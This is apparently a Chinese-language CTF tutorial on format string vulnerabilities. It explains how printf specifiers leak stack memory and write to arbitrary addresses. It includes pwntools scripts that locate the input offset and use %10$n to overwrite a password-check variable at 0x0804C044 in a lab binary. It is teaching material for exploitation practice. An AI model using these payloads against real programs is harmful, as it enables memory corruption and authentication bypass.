输入的参数的个数是不固定的,是由前面的格式化字符串决定的,所以我们只要控制了前面的格式化字符串,再结合一些参数,后面输出什么就是由我们决定的;如: %d 用于读取10进制数值 %x 用于读取16进制数值    %s 用于读取字符串值    %n 用于读取前面字符串的长度并写入某个内存地址

函数说明
printf()向标准输出打印格式化内容
fprintf()向指定文件流输出
sprintf()输出到字符串
snprintf()输出到字符串,带长度限制
格式符含义危险性
%x输出一个4/8字节十六进制值(从栈上读)信息泄露
%s把栈上的值当作地址,输出该地址处的字符串任意地址读
%p输出一个指针地址地址泄露
%n将当前输出的字符数写入到栈上的地址任意地址写(极危险)

高阶用法:

%7$x表示取第七个参数,打印为十六进制值

简单来说就是对第七个参数做%x的操作

%7$s表示取第七个参数,把其当成地址,输出该地址处的字符串

以此类推……

当然,我们也会常见到类似于%7$sAAAA的写法,在后面加上AAAA的目的是为了“对齐”

在64位的程序中,%7$s只是占据了4B,而地址能存放8B数据,因此添加上AAAA能够完成“对齐”操作,使得后续payload不会与之粘连导致运行失败

from pwn import *

p = process('./pwn')

payload = p32(0x0804c044) + b'%1$x %2$x %3$x %4$x %5$x %6$x %7$x %8$x %9$x %10$x'
p.sendlineafter('your name:', payload)
p.interactive()

确定输入的位置

当 printf 解析 %10$n 时,会尝试从函数调用栈上读取「第 10 个参数对应的内存位置」,并将其当作 int* 指针来写入字符个数:

  • 该内存位置是栈上的无效地址(超出传入参数的范围,属于未初始化的栈内存或非法内存);
  • 要么读取到非法指针,写入时触发段错误崩溃;
  • 要么读取到栈上随机有效地址,造成内存污染(破坏程序数据,最终仍会导致程序异常退出)。
payload = p32(0x0804C044) + b'%10$n'  
r.sendlineafter("your name:",payload)  
r.interactive()

此时password对应的判断字符串位置就被改成了传入的地址的字节数4 password只要输入4就可以了